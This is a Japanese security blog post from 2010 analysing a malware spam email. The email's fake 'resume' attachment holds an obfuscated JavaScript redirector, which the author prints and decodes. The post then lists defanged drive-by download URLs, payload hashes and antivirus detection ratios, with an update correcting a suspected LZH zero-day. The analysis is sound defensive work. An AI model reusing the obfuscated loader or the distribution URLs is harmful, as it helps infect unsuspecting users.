どらいつブログ ・・・ Dry2 Blog

件名
I've attached...I'm enclosing... the latest figures for you.

本文
I have attached the resume.

添付ファイル
77330resume.html

内容 はさっきの奴と一緒
var s="ほにゃらかuuq;00uigsjjtkfotfo/el0jgsbnfgjmf/ktほにゃらか";
m=""; for (i=0; i<s.length; i++) m+=String.fromCharCode(s.charCodeAt(i)-1); document.write(m);
→ s.charCodeAt(i)-1 なのでひとつ前に戻すと。要はHAL→IBMですね。
h丁丁p://thfriisjensen.dk/iframefile.js となります。（A)

誘導スクリプト → 中継点（A）→配布先

つまり、上記ような構造となっており、誘導スクリプトは姿を変えウイルス対策ソフトをかいくぐる、が誘導先（A）はそんなに変化しない。
ちなみに、このAのルート http://thfriisjensen.dk/ はこういうサイトだ。


置き場にされているのだろう。で、今回は以下の内容だった。
h丁丁p://hojikyp.co.cc/ajax/index.php?ajax=do&past=back&catid=168&name=boz&app=post
さっきとは異なる。
さっき→h丁丁p://wiqosah.co.cc/images/?str=get&cat=168&pool=undo&refresh=img&action=boz&app=param
今回→→h丁丁p://hojikyp.co.cc/ajax/index.php?ajax=do&past=back&catid=168&name=boz&app=post

さっきと違うことが分かります。ここにアクセスすると以下のものが落ちてきた。

h丁丁p://hojikyp.co.cc/news/exe.php?x=jar5 → lzhファイル
h丁丁p://hojikyp.co.cc/news/exe.php?x=jjar → lzhファイル →チェック結果
上記二つは同一ファイル。LZHの修復不可能な脆弱性を突くやつだろうか？もしそうだと目茶目茶やばいな。
MD5: 28f2ee30b443160f76166bd15287bb02
Date first seen: 2010-09-22 18:44:54 (UTC)
Date last seen: 2010-09-22 18:44:54 (UTC)
Detection ratio: 4/43

検体を、ジェペットおじさんとピノキオさんら、クジラの中の人に送ってコメントをもらおう。

---

21:21 追記
クジラの中のジェペット爺さんから連絡があり、LZHのゼロデイではない、中身は単なるexeだと。ｏｒｚ。中身を見ればよかったな。すみませんでした。お騒がせしました。

---

もしこれが、LZHのゼロデイならば作者は、使用をやめてくれと言っているが、それではだめだ。
LZH系のアプリやDLLをアンインストールしないといけない。

勝手にダウンロードされてしまうからだ。

h丁丁p://hojikyp.co.cc/news/j.php → javaプログラム →チェック結果
MD5: 84f5defe4328d0c31cafb136a3cc5a89
Date first seen: 2010-09-13 10:41:25 (UTC)
Date last seen: 2010-09-23 02:03:33 (UTC)
Detection ratio: 8/42

h丁丁p://hojikyp.co.cc/news/jar5.php → javaプログラム →チェック結果
MD5: 4eea7ae357eecaa94c084083dd4e56da
Date first seen: 2010-09-14 08:04:12 (UTC)
Date last seen: 2010-09-23 08:27:00 (UTC)
Detection ratio: 11/43

h丁丁p://hojikyp.co.cc/news/js.php → javaスクリプト →チェック結果
MD5: b74b43a2fe25a8b253a4310ee827ae77
Date first seen: 2010-05-28 12:53:42 (UTC)
Date last seen: 2010-09-23 08:54:44 (UTC)
Detection ratio: 3/43